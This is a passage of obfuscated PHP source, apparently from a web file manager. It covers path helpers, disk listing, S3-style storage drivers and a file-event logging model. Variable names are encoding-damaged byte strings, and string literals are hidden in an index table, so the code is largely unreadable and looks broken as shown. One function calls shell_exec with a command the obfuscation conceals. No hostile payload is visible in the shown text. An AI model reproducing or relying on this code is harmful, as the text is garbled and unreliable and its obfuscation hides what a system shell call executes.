makeShare($¯³éÈŠü, $‚¥ºà…Ž) { return self::makePath(self::KOD_SHARE_ITEM, $¯³éÈŠü, $‚¥ºà…Ž); } public static function makeFileTypePath($û‰<C3BB>áϼ) { return self::makePath(self::KOD_USER_FILE_TYPE, $û‰<C3BB>áϼ); } public static function makeFileTagPath($êŠØòñ…) { return self::makePath(self::KOD_USER_FILE_TAG, $êŠØòñ…); } public static function makePath($ª¡óö½¢, $˜Â—<C382>¥ = '', $åêÊÇÖì = '') { $Ã¥ßí™é =& $_SERVER[ˆ¡¹µ‹Â]; $Ú蒠β = substr($ª¡óö½¢, 1, -1); $Ë£º<C2A3>òâ = $Ã¥ßí™é[1360] . $Ú蒠β . $Ã¥ßí™é[1361] . $˜Â—<C382>¥ . $Ã¥ßí™é[1362]; $Ë£º<C2A3>òâ = $åêÊÇÖì ? $Ë£º<C2A3>òâ . $åêÊÇÖì . $Ã¥ßí™é[8] : $Ë£º<C2A3>òâ; return $Ë£º<C2A3>òâ; } public static function hashPath($µñ‹Øž», $ˆ»<CB86>äô„ = true) { $°í’ =& $_SERVER[ˆ¡¹µ‹Â]; $Þ¬ý<C2AC>¼… = is_array($µñ‹Øž») ? $µñ‹Øž» : IO::info($µñ‹Øž»); $<24>üþêè = _get($Þ¬ý<C2AC>¼…, $°í’[1363], $°í’[12]); if (!$<24>üþêè && isset($Þ¬ý<C2AC>¼…[$°í’[235]])) { $<24>üþêè = trim($Þ¬ý<C2AC>¼…[$°í’[235]], $°í’[121]); } if (!$<24>üþêè && isset($Þ¬ý<C2AC>¼…[$°í’[193]]) && $Þ¬ý<C2AC>¼…[$°í’[193]]) { $Þ¬ý<C2AC>¼… = IO::info(KodIO::make($Þ¬ý<C2AC>¼…[$°í’[193]])); $<24>üþêè = _get($Þ¬ý<C2AC>¼…, $°í’[1363], $°í’[12]); } $ÃÁ<E28098><C381>² = md5($Þ¬ý<C2AC>¼…[$°í’[87]] . $Þ¬ý<C2AC>¼…[$°í’[79]] . $Þ¬ý<C2AC>¼…[$°í’[88]]); if (!$<24>üþêè && file_exists($Þ¬ý<C2AC>¼…[$°í’[87]])) { $<24>üþêè = Cache::get($ÃÁ<E28098><C381>² . $°í’[1364]); $<24>üþêè = !1; if (!$<24>üþêè) { $<24>üþêè = IO::hashSimple($Þ¬ý<C2AC>¼…[$°í’[87]]); Cache::set($ÃÁ<E28098><C381>² . $°í’[1364], $<24>üþêè, 3600 * 24 * 30); } } if ($ˆ»<CB86>äô„ && !$<24>üþêè) { } return $<24>üþêè ? $<24>üþêè : $ÃÁ<E28098><C381>²; } public static function hashPathSafe($㪞ûš², $º‡Ù„íÓ = true) { $©Ü œôÊ =& $_SERVER[ˆ¡¹µ‹Â]; $à”‹×ý™ = self::hashPath($㪞ûš², $º‡Ù„íÓ); return md5($à”‹×ý™ . $©Ü œôÊ[1365] . Model($©Ü œôÊ[837])->get($©Ü œôÊ[838])); } public static function initSystemPath() { $©Â„<C382>û =& $_SERVER[ˆ¡¹µ‹Â]; if (defined($©Â„<C382>û[1366])) { return; } define($©Â„<C382>û[1366], self::systemPath($©Â„<C382>û[191])); define($©Â„<C382>û[1367], self::systemPath($©Â„<C382>û[1368])); define($©Â„<C382>û[1369], self::systemPath($©Â„<C382>û[1370])); define($©Â„<C382>û[1371], self::systemPath($©Â„<C382>û[1372])); IOHistory::bindEvent(); } public static function systemPath($ßÒÚݸš) { $îò“Ø¾Ü =& $_SERVER[ˆ¡¹µ‹Â]; $¸º¤µó‡ = $îò“ؾÜ[1373] . ucfirst($ßÒÚݸš); $«Á‡ü×å = Model($îò“ؾÜ[837])->get($¸º¤µó‡); if ($«Á‡ü×å) { return $«Á‡ü×å; } if ($ßÒÚݸš == $îò“ؾÜ[191]) { $«Á‡ü×å = self::make(Model($îò“ؾÜ[899])->systemRootPathAdd($îò“ؾÜ[605])); } else { $«Á‡ü×å = self::systemPath($îò“ؾÜ[191]); $â¥ÜÉÇ® = self::sourceID($«Á‡ü×å); $«Á‡ü×å = self::make(Model($îò“ؾÜ[899])->mkdir($â¥ÜÉÇ®, $ßÒÚݸš)); } Model($îò“ؾÜ[837])->set($¸º¤µó‡, $«Á‡ü×å); return $«Á‡ü×å; } public static function systemFolder($À”„¢—Å) { $ã¶—ÌÊ¥ = IO_PATH_SYSTEM_SOURCE . $À”„¢—Å; $©Æœ‚ÏÀ = Cache::get($ã¶—ÌÊ¥); if (!$©Æœ‚ÏÀ) { $ÖÅÎí­Â = IO::infoFullSimple($ã¶—ÌÊ¥); if (!$ÖÅÎí­Â) { $©Æœ‚ÏÀ = IO::mkdir($ã¶—ÌÊ¥, REPEAT_SKIP); } else { $©Æœ‚ÏÀ = $ÖÅÎí­Â[$_SERVER[ˆ¡¹µ‹Â][87]]; } Cache::set($ã¶—ÌÊ¥, $©Æœ‚ÏÀ, 3600 * 10); } return $©Æœ‚ÏÀ; } public static function defaultDriver() { return Model($_SERVER[ˆ¡¹µ‹Â][834])->defaultDriver(); } public static function defaultIO() { $Á<>Õœ¼¦ =& $_SERVER[ˆ¡¹µ‹Â]; $á·Å’ಠ= self::defaultDriver(); return $Á<>Õœ¼¦[1374] . $á·Å’à²[$Á<>Õœ¼¦[475]] . $Á<>Õœ¼¦[1362]; } public static function defaultDriverInit() { static $à<>µñšÆ = false; if ($à<>µñšÆ) { return $à<>µñšÆ; } $à<>µñšÆ = IO::init(self::defaultIO()); return $à<>µñšÆ; } public static function fileTypeList() { $ìýìñ¬© =& $_SERVER[ˆ¡¹µ‹Â]; $åûŽÜ®Ë = $GLOBALS[$ìýìñ¬©[6]][$ìýìñ¬©[1375]]; foreach ($åûŽÜ®Ë as $ÝýÜǦ¿ => $ï¤Ä<C2A4>½Õ) { $›´ó±Û™ = $ìýìñ¬©[1376] . $ÝýÜǦ¿; $‘µôñÚ¤ = LNG($›´ó±Û™); if ($›´ó±Û™ != $‘µôñÚ¤) { $åûŽÜ®Ë[$ÝýÜǦ¿][$ìýìñ¬©[32]] = $‘µôñÚ¤; } } return $åûŽÜ®Ë; } public static function diskList($¼¶«®¢¿ = true) { $ÌïªŠ× = $_SERVER[ˆ¡¹µ‹Â][1377]; if ($¼¶«®¢¿) { $ÚǦ²<C2B2> = Cache::get($Ì慠×); if (is_array($ÚǦ²<C2B2>)) { return $ÚǦ²<C2B2>; } } $ÚǦ²<C2B2> = self::diskListGet(); Cache::set($Ì慠×, $ÚǦ²<C2B2>, 60); return $ÚǦ²<C2B2>; } public static function diskListGet() { $éÙœ®€¬ =& $_SERVER[ˆ¡¹µ‹Â]; $ÑåúÎ·Ç = array(); if ($GLOBALS[$éÙœ®€¬[6]][$éÙœ®€¬[1378]] == $éÙœ®€¬[1379]) { $°Öü‰<C3BC> = $éÙœ®€¬[1380]; for ($Š˜‹­¦° = 0; $Š˜‹­¦° < strlen($°Öü‰<C3BC>); $Š˜‹­¦°++) { $牃¾©é = $°Öü‰<C3BC>[$Š˜‹­¦°] . $éÙœ®€¬[1381]; if (file_exists($牃¾©é)) { $ÑåúηÇ[] = $牃¾©é; } } return $ÑåúηÇ; } if (!function_exists($éÙœ®€¬[101])) { $ÑåúηÇ[] = $éÙœ®€¬[910]; return $ÑåúηÇ; } $ˆ¥ßøÇ¾ = explode($éÙœ®€¬[262], shell_exec($éÙœ®€¬[1382])); array_shift($ˆ¥ßøÇ¾); array_pop($ˆ¥ßøÇ¾); $ê„<C3AA>±<EFBFBD>Î = array($éÙœ®€¬[1383], $éÙœ®€¬[1384], $éÙœ®€¬[1385], $éÙœ®€¬[1386], $éÙœ®€¬[1387], $éÙœ®€¬[1388], $éÙœ®€¬[1389], $éÙœ®€¬[1390]); foreach ($ˆ¥ßøÇ¾ as $ªÝäÄÐ) { $¸¨­øïÏ = preg_split($éÙœ®€¬[1391], $ªÝäÄÐ); $牃¾©é = $¸¨­øïÏ[count($¸¨­øïÏ) - 1]; if (!strstr($¸¨­øïÏ[0], $éÙœ®€¬[1392]) || !$牃¾©é) { continue; } $ÔúùŒï” = rtrim($牃¾©é, $éÙœ®€¬[8]) . $éÙœ®€¬[8]; if (in_array($ÔúùŒï”, $ê„<C3AA>±<EFBFBD>Î)) { continue; } $ÑåúηÇ[] = $ÔúùŒï”; } return $ÑåúηÇ; } public static function isSameDisk($‡€òÇ<C3B2>ý, $òðö‹æ¦) { $ž®Šà¼Õ =& $_SERVER[ˆ¡¹µ‹Â]; if ($GLOBALS[$ž®Šà¼Õ[6]][$ž®Šà¼Õ[1378]] == $ž®Šà¼Õ[1379]) { return strtolower(substr($‡€òÇ<C3B2>ý, 0, 1)) == strtolower(substr($òðö‹æ¦, 0, 1)); } $Íž˜ðÞì = self::diskList(); $¿˜Àž–º = !1; $§œÌçéë = !1; sort($Íž˜ðÞì); $Íž˜ðÞì = array_reverse($Íž˜ðÞì); $‡€òÇ<C3B2>ý = rtrim($‡€òÇ<C3B2>ý, $ž®Šà¼Õ[8]) . $ž®Šà¼Õ[8]; $òðö‹æ¦ = rtrim($òðö‹æ¦, $ž®Šà¼Õ[8]) . $ž®Šà¼Õ[8]; foreach ($Íž˜ðÞì as $ëáâ˜Ô­) { $ÂöÇ„ÂÏ = strlen($ëáâ˜Ô­); if (!$¿˜Àž–º && substr($‡€òÇ<C3B2>ý, 0, $ÂöÇ„ÂÏ) == $ëáâ˜Ô­) { $¿˜Àž–º = $ëáâ˜Ô­; } if (!$§œÌçéë && substr($òðö‹æ¦, 0, $ÂöÇ„ÂÏ) == $ëáâ˜Ô­) { $§œÌçéë = $ëáâ˜Ô­; } if ($¿˜Àž–º && $§œÌçéë) { break; } } return $¿˜Àž–º === $§œÌçéë; } public static function transferType($Ÿº÷ª<C3B7>ë, $ó‹³±±¼) { $ñîÆß”± =& $_SERVER[ˆ¡¹µ‹Â]; $£¾„ò¥Ë = self::driverType($Ÿº÷ª<C3B7>ë); $ˆªå…×Ï = self::driverType($ó‹³±±¼); if ($£¾„ò¥Ë[$ñîÆß”±[33]] == $ˆªå…×Ï[$ñîÆß”±[33]] && $£¾„ò¥Ë[$ñîÆß”±[1393]] == $ˆªå…×Ï[$ñîÆß”±[1393]]) { return $ñîÆß”±[1394]; } if ($£¾„ò¥Ë[$ñîÆß”±[33]] == $ñîÆß”±[943] && $ˆªå…×Ï[$ñîÆß”±[33]] == $ñîÆß”±[109]) { return $ñîÆß”±[1272]; } if ($£¾„ò¥Ë[$ñîÆß”±[33]] == $ñîÆß”±[109] && $ˆªå…×Ï[$ñîÆß”±[33]] == $ñîÆß”±[943]) { return $ñîÆß”±[110]; } return $ñîÆß”±[1395]; } public static function driverType($ûÞÏÍßœ) { $Èýßâû¼ =& $_SERVER[ˆ¡¹µ‹Â]; $º—åúîÉ = str_replace($Èýßâû¼[1396], $Èýßâû¼[12], strtolower($ûÞÏÍßœ->getType())); if ($º—åúîÉ == $Èýßâû¼[824] || $º—åúîÉ == $Èýßâû¼[1397] || $º—åúîÉ == $Èýßâû¼[1398]) { $ûÞÏÍßœ = self::defaultDriverInit(); } else { if ($º—åúîÉ == $Èýßâû¼[1282] || $º—åúîÉ == $Èýßâû¼[1399]) { $ûÞÏÍßœ = IO::init($ûÞÏÍßœ->pathParse[$Èýßâû¼[1225]]); } } $¥Ë‹ð®Ì = $ûÞÏÍßœ->path; $º—åúîÉ = str_replace($Èýßâû¼[1396], $Èýßâû¼[12], strtolower($ûÞÏÍßœ->getType())); if ($º—åúîÉ == $Èýßâû¼[109]) { return array($Èýßâû¼[33] => $Èýßâû¼[109], $Èýßâû¼[1393] => $Èýßâû¼[12], $Èýßâû¼[87] => $¥Ë‹ð®Ì, $Èýßâû¼[98] => $ûÞÏÍßœ); } return array($Èýßâû¼[33] => $Èýßâû¼[943], $Èýßâû¼[1393] => $ûÞÏÍßœ->pathDriver, $Èýßâû¼[87] => $¥Ë‹ð®Ì, $Èýßâû¼[98] => $ûÞÏÍßœ); } public static function pathDriverType($軀Äïî) { return $軀Äïî ? self::driverType(IO::init($軀Äïî)) : !1; } public static function pathDriverLocal($Я…Áµ½) { $ÍšÄÈÕ¤ =& $_SERVER[ˆ¡¹µ‹Â]; $Èð„Þè„ = $Я…Áµ½ ? self::driverType(IO::init($Я…Áµ½)) : !1; return strtolower($Èð„Þè„[$ÍšÄÈÕ¤[33]]) == $ÍšÄÈÕ¤[109] ? !0 : !1; } public static function allowCover($™áÅ<C3A1>Ö­, $˜ÅÙ<E28099>ù = true) { $òš³ð«· =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($™áÅ<C3A1>Ö­)) { $™áÅ<C3A1>Ö­ = IO::info($™áÅ<C3A1>Ö­); } if (!$™áÅ<C3A1>Ö­ || $™áÅ<C3A1>Ö­[$òš³ð«·[33]] == $òš³ð«·[78] || $™áÅ<C3A1>Ö­[$òš³ð«·[79]] <= 100) { return !1; } if (isset($™áÅ<C3A1>Ö­[$òš³ð«·[1400]]) || !$™áÅ<C3A1>Ö­[$òš³ð«·[87]]) { return !1; } if (isset($™áÅ<C3A1>Ö­[$òš³ð«·[232]]) && !$™áÅ<C3A1>Ö­[$òš³ð«·[232]]) { return !1; } static $´˜ü¦ñª = false; if (!$´˜ü¦ñª || !$˜ÅÙ<E28099>ù) { $<24>Ó¸å°å = self::driverType(IO::init($™áÅ<C3A1>Ö­[$òš³ð«·[87]])); $À‰‘îû® = $<24>Ó¸å°å[$òš³ð«·[98]]; $´˜ü¦ñª = $òš³ð«·[196]; if ($<24>Ó¸å°å[$òš³ð«·[33]] == $òš³ð«·[109]) { $´˜ü¦ñª = $òš³ð«·[1401]; } if ($<24>Ó¸å°å[$òš³ð«·[98]] && is_array($<24>Ó¸å°å[$òš³ð«·[98]]->config)) { $­ƒˆñ¶Ã = $<24>Ó¸å°å[$òš³ð«·[98]]->config; if (isset($­ƒˆñ¶Ã[$òš³ð«·[1402]]) && $­ƒˆñ¶Ã[$òš³ð«·[1402]]) { $´˜ü¦ñª = $òš³ð«·[1401]; } } $Ë»ßð¾” = KodIO::defaultDriver(); if (strtolower($Ë»ßð¾”[$òš³ð«·[98]]) == $òš³ð«·[109] && is_array($Ë»ßð¾”[$òš³ð«·[6]])) { $À<>ÒëÉŒ = $Ë»ßð¾”[$òš³ð«·[6]][$òš³ð«·[1255]]; if (substr($À<>ÒëÉŒ, 0, 2) == $òš³ð«·[1403]) { $À<>ÒëÉŒ = str_replace($òš³ð«·[1403], BASIC_PATH, $À<>ÒëÉŒ); } $À<>ÒëÉŒ = str_replace($òš³ð«·[592], $òš³ð«·[8], $À<>ÒëÉŒ); if (substr($™áÅ<C3A1>Ö­[$òš³ð«·[87]], 0, strlen($À<>ÒëÉŒ)) == $À<>ÒëÉŒ) { $´˜ü¦ñª = $òš³ð«·[196]; } } } return $´˜ü¦ñª == $òš³ð«·[1401] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($ý©ÃŠœí) { parent::__construct($ý©ÃŠœí); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($‚îö™ÐØ) { $—¢ÓÉ¡® =& $_SERVER[ˆ¡¹µ‹Â]; if (substr($‚îö™ÐØ, 0, 7) == $—¢ÓÉ¡®[313]) { $‚îö™ÐØ = $—¢ÓÉ¡®[314] . substr($‚îö™ÐØ, 7); } header($—¢ÓÉ¡®[175] . $‚îö™ÐØ); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ÕФϊŽ) { parent::__construct($ÕФϊŽ); $this->setSignVersion($_SERVER[ˆ¡¹µ‹Â][247]); } public function uploadFormData($£¨´óƒð, $‰¼„¸¸î = 3600) { $ñÓȕϵ =& $_SERVER[ˆ¡¹µ‹Â]; $¹üíÜ Î = $ñÓȕϵ[229]; $ˆ²—ͪš = $ñÓȕϵ[263]; $äâ¡¡…ü = $ñÓȕϵ[274]; $òÒÆ‹ÈÅ = gmdate($ñÓȕϵ[299], time() + $‰¼„¸¸î); $µÝÇ¥Ÿ = (string) time() . $ñÓȕϵ[74] . (string) (time() + $‰¼„¸¸î); $‚‰óÚ½– = array($ñÓȕϵ[275] => $òÒÆ‹ÈÅ, $ñÓȕϵ[278] => array(array($ñÓȕϵ[280] => $¹üíÜ Î), array($ñÓȕϵ[279] => $this->bucket), array($ñÓȕϵ[281], $ñÓȕϵ[282], $ñÓȕϵ[12]), array($ñÓȕϵ[285] => $äâ¡¡…ü), array($ñÓȕϵ[1404] => $ˆ²—ͪš), array($ñÓȕϵ[1405] => $this->accessKey), array($ñÓȕϵ[1406] => $µÝÇ¥Ÿ))); $‚‰óÚ½– = json_encode($‚‰óÚ½–); $ †³¡Óƒ = hash_hmac($ñÓȕϵ[263], $µÝÇ¥Ÿ, $this->secret); $ŽžÑÒªÏ = sha1($‚‰óÚ½–); $<24>ˬàžÂ = hash_hmac($ñÓȕϵ[263], $ŽžÑÒªÏ, $ †³¡Óƒ); $Ä€Þ­—Š = array($ñÓȕϵ[280] => $¹üíÜ Î, $ñÓȕϵ[285] => $äâ¡¡…ü, $ñÓȕϵ[293] => base64_encode($‚‰óÚ½–), $ñÓȕϵ[1404] => $ˆ²—ͪš, $ñÓȕϵ[1405] => $this->accessKey, $ñÓȕϵ[1407] => $µÝÇ¥Ÿ, $ñÓȕϵ[1408] => $<24>ˬàžÂ, $ñÓȕϵ[208] => $this->getHost()); return $Ä€Þ­—Š; } public function fileOutImage($Œ•ãÀÖê, $èéñÜ‚Ò = 250) { $ïõ§Å™Å =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->size($Œ•ãÀÖê) > 1024 * 1024 * 32) { return $this->fileOutImageServer($Œ•ãÀÖê, $èéñÜ‚Ò); } $ijÊí¿Ø = $this->link($Œ•ãÀÖê); $ijÊí¿Ø .= $ïõ§Å™Å[1409] . $èéñÜ‚Ò . $ïõ§Å™Å[1410]; $this->fileOutLink($ijÊí¿Ø); } public function fileOutLink($«ªðÖ©¢) { $èå°Á¨˜ =& $_SERVER[ˆ¡¹µ‹Â]; if (substr($«ªðÖ©¢, 0, 7) == $èå°Á¨˜[313]) { $«ªðÖ©¢ = $èå°Á¨˜[314] . substr($«ªðÖ©¢, 7); } header($èå°Á¨˜[175] . $«ªðÖ©¢); die; } } goto d£Í˜ˆÜ; cßòìÀù<C380>…: class SourceEventModel extends ModelBase { protected $tableName = "\151\157\x5f\163\x6f\165\x72\143\x65\137\x65\166\x65\156\164"; protected $dataAuto = array(array("\143\x72\145\x61\164\145\124\x69\x6d\145", "\164\151\155\145", "\151\x6e\x73\145\162\164", "\x66\165\x6e\x63\164\151\157\156"), array("\x64\x65\163\x63", '', "\151\156\163\x65\x72\164\x2c\x75\160\x64\x61\164\145\54\x73\145\x6c\145\143\x74", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($¡ÃÞ¦Æò, $ù³­ç­í, $×±½Ã€Ž = '') { $öéùùÒ´ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->eventSave) { return; } $¹â<C2B9>¥¤£ = Model($öéùùÒ´[1411])->sourceInfo($¡ÃÞ¦Æò); if (!$¹â<C2B9>¥¤£) { return !1; } if ($this->isDisableEvent($¹â<C2B9>¥¤£, $ù³­ç­í)) { return; } if ($×±½Ã€Ž && is_string($×±½Ã€Ž)) { $×±½Ã€Ž = array($öéùùÒ´[2001] => $×±½Ã€Ž); } $ë¶<C3AB>•Êü = defined($öéùùÒ´[2189]) ? USER_ID : 0; $ŒÔ¡<C394>ˆ<EFBFBD> = array($öéùùÒ´[491] => $¡ÃÞ¦Æò, $öéùùÒ´[2190] => $¹â<C2B9>¥¤£[$öéùùÒ´[192]], $öéùùÒ´[2191] => $¹â<C2B9>¥¤£[$öéùùÒ´[32]], $öéùùÒ´[582] => !empty($¹â<C2B9>¥¤£[$öéùùÒ´[582]]) ? $¹â<C2B9>¥¤£[$öéùùÒ´[582]] : $öéùùÒ´[12], $öéùùÒ´[1754] => $ë¶<C3AB>•Êü, $öéùùÒ´[496] => $ù³­ç­í, $öéùùÒ´[1756] => $×±½Ã€Ž); $this->addSystemLog($ù³­ç­í, $ŒÔ¡<C394>ˆ<EFBFBD>); unset($ŒÔ¡<C394>ˆ<EFBFBD>[$öéùùÒ´[2191]], $ŒÔ¡<C394>ˆ<EFBFBD>[$öéùùÒ´[582]]); return $this->add($ŒÔ¡<C394>ˆ<EFBFBD>); } private function addSystemLog($¿µì®Þ¡, $¤õ¤ñåÍ) { $¥Ï ìŒ® =& $_SERVER[ˆ¡¹µ‹Â]; if ($¿µì®Þ¡ == $¥Ï ìŒ®[2192]) { $¿µì®Þ¡ = $¤õ¤ñåÍ[$¥Ï ìŒ®[526]][$¥Ï ìŒ®[2193]]; } else { if (in_array($¿µì®Þ¡, array($¥Ï ìŒ®[1941], $¥Ï ìŒ®[2194]))) { $¿µì®Þ¡ = $¤õ¤ñåÍ[$¥Ï ìŒ®[526]][$¥Ï ìŒ®[171]]; } } $ÏÊ—×㺠= array_merge($¤õ¤ñåÍ, array($¥Ï ìŒ®[2195] => $¤õ¤ñåÍ[$¥Ï ìŒ®[193]], $¥Ï ìŒ®[2196] => $¤õ¤ñåÍ[$¥Ï ìŒ®[2196]])); Hook::trigger($¥Ï ìŒ®[2197], $¥Ï ìŒ®[2198] . $¿µì®Þ¡, $¤õ¤ñåÍ); Model($¥Ï ìŒ®[1905])->addLog($¥Ï ìŒ®[2198] . $¿µì®Þ¡, $ÏÊ—×ãº); } private function isDisableEvent($ޝ†þþÇ, $›òüø­¶) { $·ßäÇ¡  =& $_SERVER[ˆ¡¹µ‹Â]; if ($ޝ†þþÇ[$·ßäÇ¡ [190]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($›òüø­¶ == $·ßäÇ¡ [1930]) { return !1; } return !0; } public function eventCreate($€Þ ¾êÆ, $óÒ×ÅŒª) { $ê”»ˆ<C2BB>² =& $_SERVER[ˆ¡¹µ‹Â]; $…<>·Ž¢ì = Model($ê”»ˆ<C2BB>²[1411])->sourceInfo($€Þ ¾êÆ); $û’ú¤Ï£ = array($ê”»ˆ<C2BB>²[2193] => $óÒ×ÅŒª, $ê”»ˆ<C2BB>²[32] => $…<>·Ž¢ì[$ê”»ˆ<C2BB>²[32]]); return $this->addEvent($€Þ ¾êÆ, $ê”»ˆ<C2BB>²[2192], $û’ú¤Ï£); } public function eventFileEdit($ظ¢«ŽÖ) { $šã­<C3A3> =& $_SERVER[ˆ¡¹µ‹Â]; $ڂͲ•š = array($šã­<C3A3>[2199] => $_SERVER[$šã­<C3A3>[2200]], $šã­<C3A3>[2201] => strtolower(ACTION)); if (isset($GLOBALS[$šã­<C3A3>[7]][$šã­<C3A3>[2202]])) { $ڂͲ•š[$šã­<C3A3>[2202]] = $šã­<C3A3>[91]; } return $this->addEvent($ظ¢«ŽÖ, $šã­<C3A3>[1931], $ڂͲ•š); } public function eventRecycle($žú”ççó, $¿•®ŠòÚ) { return $this->addEvent($žú”ççó, $_SERVER[ˆ¡¹µ‹Â][2194], $¿•®ŠòÚ); } private static $_removeLast = ''; public function eventRemove($¯öçŒÍó) { $‚Âòµ¾Ê =& $_SERVER[ˆ¡¹µ‹Â]; self::$_removeLast = $¯öçŒÍó; $õŸ¿îéœ = Model($‚Âòµ¾Ê[1411])->sourceInfo($¯öçŒÍó); $ŠÈšÀš… = array_field_key($õŸ¿îéœ, array($‚Âòµ¾Ê[193], $‚Âòµ¾Ê[541], $‚Âòµ¾Ê[505], $‚Âòµ¾Ê[584])); $Ԋœ = array($‚Âòµ¾Ê[171] => $õŸ¿îéœ[$‚Âòµ¾Ê[32]], $‚Âòµ¾Ê[2201] => ACTION, $‚Âòµ¾Ê[2203] => $ŠÈšÀš…); return $this->addEvent($õŸ¿îéœ[$‚Âòµ¾Ê[192]], $‚Âòµ¾Ê[1930], $Ԋœ); } public function eventShare($€Ö¢²”Ì, $<24>ÓêÈ<C388>) { return $this->addEvent($€Ö¢²”Ì, $_SERVER[ˆ¡¹µ‹Â][1941], $<24>ÓêÈ<C388>); } public function eventMove($Ú¤ÙΕ¬, $Ú–ÓÕö’, $ÒÛð¨—è) { $ùÖ™µ´¿ =& $_SERVER[ˆ¡¹µ‹Â]; if (self::$_removeLast == $Ú¤ÙΕ¬) { return; } $µ¨‹«Ïš = Model($ùÖ™µ´¿[1411]); $³Žƒâþ˜ = $µ¨‹«Ïš->sourceInfo($Ú¤ÙΕ¬); $¿çΦüÏ = $µ¨‹«Ïš->sourceInfo($Ú–ÓÕö’); $Á¿¸ðú± = $µ¨‹«Ïš->sourceInfo($ÒÛð¨—è); $æÚ®ð€© = array($ùÖ™µ´¿[1234] => $Ú–ÓÕö’, $ùÖ™µ´¿[2204] => $¿çΦüÏ[$ùÖ™µ´¿[32]], $ùÖ™µ´¿[2180] => !empty($¿çΦüÏ[$ùÖ™µ´¿[582]]) ? $¿çΦüÏ[$ùÖ™µ´¿[582]] : $ùÖ™µ´¿[12], $ùÖ™µ´¿[1235] => $ÒÛð¨—è, $ùÖ™µ´¿[2205] => $Á¿¸ðú±[$ùÖ™µ´¿[32]], $ùÖ™µ´¿[2206] => !empty($Á¿¸ðú±[$ùÖ™µ´¿[582]]) ? $Á¿¸ðú±[$ùÖ™µ´¿[582]] : $ùÖ™µ´¿[12]); $this->addEvent($Ú¤ÙΕ¬, $ùÖ™µ´¿[620], $æÚ®ð€©); $³Žƒâþ˜ = $µ¨‹«Ïš->sourceInfo($Ú¤ÙΕ¬); $æÚ®ð€© = array($ùÖ™µ´¿[193] => $³Žƒâþ˜[$ùÖ™µ´¿[193]], $ùÖ™µ´¿[32] => $³Žƒâþ˜[$ùÖ™µ´¿[32]]); $this->addEvent($Ú–ÓÕö’, $ùÖ™µ´¿[2207], $æÚ®ð€©); } public function eventCopy($±É¦Êí­) { $this->eventCreate($±É¦Êí­, $_SERVER[ˆ¡¹µ‹Â][618]); } public function eventRename($<24>°‡ÒƒÇ, $ÝʹÁ„­, $·Á€Èóæ) { $„ë¼Ì•ý =& $_SERVER[ˆ¡¹µ‹Â]; $޽ÖÑç« = array($„ë¼Ì•ý[1234] => $ÝʹÁ„­, $„ë¼Ì•ý[1235] => $·Á€Èóæ); return $this->addEvent($<24>°‡ÒƒÇ, $„ë¼Ì•ý[1425], $޽ÖÑç«); } public function eventAddComment($Áêœû÷ì, $ØëÕ¾”Ü) { return $this->addEvent($Áêœû÷ì, $_SERVER[ˆ¡¹µ‹Â][2208], $ØëÕ¾”Ü); } public function eventAddDesc($àâ®Áê¡, $“<>ºàÚ×) { return $this->addEvent($àâ®Áê¡, $_SERVER[ˆ¡¹µ‹Â][2209], $“<>ºàÚ×); } public function listBySource($Ý<>ˆ˜) { $í–½€Ìø =& $_SERVER[ˆ¡¹µ‹Â]; $þÞ¨úúÜ = Model($í–½€Ìø[1411])->sourceInfo($Ý<>ˆ˜); $²ë¢‚ª² = array($í–½€Ìø[491] => $Ý<>ˆ˜); if ($þÞ¨úúÜ[$í–½€Ìø[485]] == $í–½€Ìø[91]) { $ñ«ùµÔÆ = Model($í–½€Ìø[1411])->listSearchChildren($Ý<>ˆ˜, 20000); $ñ«ùµÔÆ[] = $Ý<>ˆ˜ . $í–½€Ìø[454]; $²ë¢‚ª² = array($í–½€Ìø[193] => array($í–½€Ìø[7], $ñ«ùµÔÆ)); } $²<>¡Éñ = $this->where($²ë¢‚ª²)->order($í–½€Ìø[2210])->selectPage(); if ($²<>¡Éñ[$í–½€Ìø[442]][$í–½€Ìø[443]] == 0) { $²<>¡Éñ[$í–½€Ìø[442]][$í–½€Ìø[443]] = 1; $²<>¡Éñ[$í–½€Ìø[445]] = array(array($í–½€Ìø[491] => $Ý<>ˆ˜, $í–½€Ìø[2190] => $þÞ¨úúÜ[$í–½€Ìø[192]], $í–½€Ìø[1754] => $þÞ¨úúÜ[$í–½€Ìø[527]], $í–½€Ìø[496] => $í–½€Ìø[2211], $í–½€Ìø[497] => $þÞ¨úúÜ[$í–½€Ìø[231]], $í–½€Ìø[1756] => $í–½€Ìø[12])); } return $this->eventListParse($²<>¡Éñ, $Ý<>ˆ˜); } private function eventListParse($Ìî›ÊŸ, $½ŒþŒ¾ú) { $˜½êÁ‡ƒ =& $_SERVER[ˆ¡¹µ‹Â]; $‚ƒ±é‰š = $Ìî›ÊŸ[$˜½êÁ‡ƒ[445]]; $¦ËÄ<C38B>Ì« = array_to_keyvalue($‚ƒ±é‰š, $˜½êÁ‡ƒ[12], $˜½êÁ‡ƒ[193]); $¢£®ñí¸ = array_to_keyvalue($‚ƒ±é‰š, $˜½êÁ‡ƒ[12], $˜½êÁ‡ƒ[2196]); foreach ($‚ƒ±é‰š as $ÓëÀ) { $“ÀƒŒ²ë = $ÓëÀ[$˜½êÁ‡ƒ[526]]; if ($ÓëÀ[$˜½êÁ‡ƒ[33]] == $˜½êÁ‡ƒ[620] && isset($“ÀƒŒ²ë[$˜½êÁ‡ƒ[1234]])) { $¦ËÄ<C38B>Ì«[] = $“ÀƒŒ²ë[$˜½êÁ‡ƒ[1234]] . $˜½êÁ‡ƒ[12]; $¦ËÄ<C38B>Ì«[] = $“ÀƒŒ²ë[$˜½êÁ‡ƒ[1235]] . $˜½êÁ‡ƒ[12]; } if ($ÓëÀ[$˜½êÁ‡ƒ[33]] == $˜½êÁ‡ƒ[2207] && isset($“ÀƒŒ²ë[$˜½êÁ‡ƒ[193]])) { $¦ËÄ<C38B>Ì«[] = $“ÀƒŒ²ë[$˜½êÁ‡ƒ[193]] . $˜½êÁ‡ƒ[12]; } } $¦ËÄ<C38B>Ì« = array_merge($¦ËÄ<C38B>Ì«, $¢£®ñí¸, array($½ŒþŒ¾ú . 